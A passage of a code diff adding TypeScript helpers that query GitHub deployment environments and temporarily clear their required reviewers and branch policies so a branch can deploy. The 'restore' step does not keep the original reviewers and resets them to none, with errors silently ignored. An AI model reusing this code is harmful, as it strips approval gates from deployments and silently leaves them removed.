+ blockedBy: `environment "${envName}" branch policies don't match "${branchName}"`, + }; + } + } + } + + return { canDeploy: true, blockedBy: null }; + } catch { + // If we can't check, assume no restrictions (best effort) + return { canDeploy: true, blockedBy: null }; + } +} + +/** + * Restore an environment to its original state after a bypass. + */ +export async function restoreEnvironment( + token: string, + owner: string, + repo: string, + bypassState: EnvironmentBypassState, +): Promise { + try { + await updateEnvironment( + token, + owner, + repo, + bypassState.envName, + bypassState.originalState.reviewers, + bypassState.originalState.deploymentBranchPolicy, + ); + } catch { + // Best effort — the env may have been deleted or token expired + } +} + +// ── Extract environment names from workflow YAML ──────────────────────────── + +/** + * Parse environment names referenced in a workflow YAML string. + * Looks for `environment:` keys inside jobs. + */ +export function extractEnvironmentNames(yaml: string): string[] { + const names = new Set(); + const envRegex = /^\s+environment:\s*(\S+)/gm; + + let match: RegExpExecArray | null; + while ((match = envRegex.exec(yaml)) !== null) { + const name = match[1]!.trim(); + // Skip template expressions like ${{ ... }} + if (name && !name.startsWith("${{")) { + names.add(name); + } + } + + return [...names]; +} + +// ── API calls ─────────────────────────────────────────────────────────────── + +async function getEnvironment( + token: string, + owner: string, + repo: string, + envName: string, +): Promise { + const encName = encodeURIComponent(envName); + + try { + const env = await githubJson<{ + id: number; + name: string; + protection_rules?: Array<{ type: string; wait_timer?: number }>; + deployment_branch_policy?: { + protected_branches: boolean; + custom_branch_policies: boolean; + } | null; + }>(token, `/repos/${owner}/${repo}/environments/${encName}`); + + const hasRequiredReviewers = + env.protection_rules?.some((r) => r.type === "required_reviewers") ?? + false; + const hasWaitTimer = + env.protection_rules?.some((r) => r.type === "wait_timer") ?? false; + + let branchPolicies: Array<{ id: number; name: string }> = []; + if (env.deployment_branch_policy?.custom_branch_policies) { + try { + const policies = await githubJson<{ + branch_policies?: Array<{ id: number; name: string }>; + }>( + token, + `/repos/${owner}/${repo}/environments/${encName}/deployment-branch-policies`, + ); + branchPolicies = policies.branch_policies ?? []; + } catch { + // Can't fetch policies — assume restrictive + } + } + + return { + id: env.id, + name: env.name, + hasRequiredReviewers, + hasWaitTimer, + deploymentBranchPolicy: env.deployment_branch_policy + ? { + protectedBranches: env.deployment_branch_policy.protected_branches, + customBranchPolicies: + env.deployment_branch_policy.custom_branch_policies, + } + : null, + branchPolicies, + }; + } catch { + return null; + } +} + +async function bypassEnvironment( + token: string, + owner: string, + repo: string, + envName: string, + env: EnvironmentInfo, +): Promise { + // Clear reviewers and branch policy to allow our branch + const bypass: EnvironmentBypassState = { + repoFullName: `${owner}/${repo}`, + envName, + originalState: { + reviewers: null, // We don't track original reviewers — clear them + deploymentBranchPolicy: env.deploymentBranchPolicy + ? { + protected_branches: env.deploymentBranchPolicy.protectedBranches, + custom_branch_policies: + env.deploymentBranchPolicy.customBranchPolicies, + } + : null, + }, + }; + + await updateEnvironment(token, owner, repo, envName, null, null); + return bypass; +} + +async function updateEnvironment( + token: string, + owner: string, + repo: string, + envName: string, + reviewers: Array<{ type: string; id: number }> | null, + deploymentBranchPolicy: Record | null, +): Promise { + const encName = encodeURIComponent(envName); + const body: Record = { + reviewers: reviewers ?? [], + deployment_branch_policy: deploymentBranchPolicy, + }; + + const res = await githubFetch( + token, + `/repos/${owner}/${repo}/environments/${encName}`, + { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(body), + }, + ); + + if (!res.ok && res.status !== 422) { + // 422 = validation error (e.g. protected_branches+policy both set) + throw new Error(`Failed to update environment: ${res.status}`); + } +} + +// ── Pattern matching ──────────────────────────────────────────────────────── + +/** + * Simple fnmatch-style pattern matching for branch policies. + * Supports * as wildcard (does not match /). + */ +function matchBranchPattern(branch: string, pattern: string): boolean { + // Convert fnmatch pattern to regex + // * matches everything except / + const regexStr = pattern + .replace(/[.+^${}()|[\]\\]/g, "\\$&") // escape regex chars + .replace(/\*/g, "[^/]*"); // * → anything except / + + try { + return new RegExp(`^${regexStr}$`).test(branch); + } catch { + return false; + } +}